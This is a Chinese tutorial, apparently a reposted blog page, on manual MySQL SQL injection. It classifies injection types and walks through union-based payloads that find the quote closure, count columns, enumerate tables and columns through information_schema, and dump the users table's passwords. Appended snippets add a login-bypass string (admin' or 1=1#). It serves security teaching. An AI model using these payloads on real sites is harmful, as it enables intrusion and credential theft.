MYSQL手工注入(详细步骤)—— 待补充

0x00 SQL注入的分类:

(1)基于从服务器接收到的响应

?? ?????▲基于错误的 SQL 注入

?? ??? ?▲联合查询的类型

?? ??? ?▲堆查询注射

?? ??? ?▲SQL 盲注

?? ??? ??? ??基于布尔 SQL 盲注

?? ??? ??? ??基于时间的 SQL 盲注

?? ??? ??? ??基于报错的 SQL 盲注

(2)基于如何处理输入的 SQL 查询(数据类型)

?? ??? ??基于字符串

?? ??? ??数字或整数为基础的

(3)基于程度和顺序的注入(哪里发生了影响)

?? ??? ?★一阶注射

?? ??? ?★二阶注射

(4)基于注入点的位置上的

?? ??? ?▲通过用户输入的表单域的注射。

?? ??? ?▲通过 cookie 注射。

?? ??? ?▲通过服务器变量注射。 (基于头部信息的注射)

0x01 MYSQL?手工注入流程——基于错误的 SQL 注入

(1)闭合方式:

首先,需要确定SQL语句的闭合方式,常见闭合方式有:

$sql="SELECT * FROM users WHERE id=‘$id‘ LIMIT 0,1";? ??

$sql="SELECT * FROM users WHERE id="$id"?LIMIT 0,1";? ??

$sql="SELECT * FROM users WHERE id=(‘$id‘) LIMIT 0,1";? ??

$sql="SELECT * FROM users WHERE id=("$id")?LIMIT 0,1";? ??

(2)order by 查字段数

举例:

?id=1‘ order by 4--+? //返回Ture(这里的--+可以替换为#,都是注释符的意思)

?id=1‘ order by 5--+? //返回False

说明字段数为4

(3)确定数据显示位置

?id=0‘ union select 1,2,3,4--+

通过,1,2,3,4的显示效果,确定要在哪个数字上面做改动

(4)查询当前数据库名

?id=0‘ union select 1,2,3,database()--+? ??

(这里假设,该页面只能将4号位置的数据显示出来,所以只需要对4号位置的数据做改动)

(5)查询当前数据库的所有表名

0‘ union select 1,2,3,group_concat(table_name) from information_schema.tables?where table_schema=database() --+

(6)查指定表名的所有字段名

0‘ union select 1,2,3,group_concat(column_name) from information_schema.columns?where table_name="users" --+

(7)查指定表的指定字段的所有内容

0‘ union select 1,2,3,group_concat(password) from users --+

(8)上面的情况是数据很少的时候,可以把指定字段的所有内容显示出来,但是有可能数据太多,不容易分辨,那么就可以在语句后面加上查询数量的限制

1)0‘ union select 1,2,3,password?from users?limit 0,1--+

2)0‘ union select 1,2,3,password?from users?limit 1,1--+

3)0‘ union select 1,2,3,password?from users?limit 2,1--+

0x02 MYSQL?手工注入实战——基于错误的 SQL 注入

这里暂时还没写好,等之后补充进来。

原文地址:https://www.cnblogs.com/-mo-/p/11192244.html

时间: 2024-10-05 15:40:05

MYSQL手工注入(详细步骤)—— 待补充的相关文章

mysql手工注入

information_schema SQL基础 1.1 什么是sql? SQL(structured query language),即结构化查询语言,是关系数据库的标准语言,SQL是一个通用的.功能强大的关系数据库语言,但其功能并不仅仅是查询. 1.2 mysql MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品.另外,MySQL是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速

MySQL手工注入方法

MySQL手工注入方法 原文地址:https://www.cnblogs.com/blogs-1024/p/11141285.html

手工注入——MySQL手工注入实战和分析

今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 查看页面是否报错.这里通过and 1=1 发现页面正常.如下图. 接下来,咱们再构造 and 1=2 发现页面报错,说明页面存在注入点.如下图. 第二步,判断字段数 通过 order by 语句,如果后面输入的数字大于数据库的字段数,页面就会报错,通过这个,咱们先输入 order by 4 发现页面

MySQL数据库迁移详细步骤

========================================================================================== 一.背景简介 ========================================================================================== 1.问题描述 由于机房搬迁,需要对后台DB服务器进行迁移,同时为了保证在数据迁移过程中,对线上业务不造成影响,并能够做到秒

MySQL数据库迁移详细步骤(转)

========================================================================================== 一.背景简介 ========================================================================================== 1.问题描述 由于机房搬迁,需要对后台DB服务器进行迁移,同时为了保证在数据迁移过程中,对线上业务不造成影响,并能够做到秒

【运维安全】-MySQL手工注入

为什么要学习手工注入? 工具:sqlmap 万能密码,直接登录到后台页面,不需要密码:admin' or 1=1#,当后台存在注入的话,才能使用注入密码,不是所有的网站进行登录. 当输入admin,admin,在后台的SQL语句是: select * from user where username='$user' and password='pass'; 提交的代码时,语句是: select * from user where username='admin' or 1=1#' and pas

mysql手工注入步骤

1.一般用 '  "  ) 等符号来闭合,再用%23(即#)来注释后面语句. 2.查找数据库,先用order by n猜字段,再用union select 1,2,3 ...n%23来查询. union select 1,2,database()%23 3.利用information_schema库中tables这张表,查mysql数据库中的第一个表. select table_name from information_schema.tables where table_schema='mys

PHP+MySQL 手工注入语句大全 推荐

暴字段长度 Order by num/* 匹配字段 and 1=1 union select 1,2,3,4,5…….n/* 暴字段位置 and 1=2 union select 1,2,3,4,5…..n/* 利用内置函数暴数据库信息 version() database() user() 不用猜解可用字段暴数据库信息(有些网站不适用): and 1=2 union all select version() /* and 1=2 union all select database() /* a

MySQL主从备份详细步骤

1.主从服务器分别作以下操作: 1.1.版本一致  1.2.初始化表,并在后台启动mysql  1.3.修改root的密码 2.修改主服务器master:   #vi /etc/my.cnf       [mysqld]       log-bin=mysql-bin   //[必须]启用二进制日志       server-id=222      //[必须]服务器唯一ID,默认是1,一般取IP最后一段 3.修改从服务器slave:   #vi /etc/my.cnf       [mysql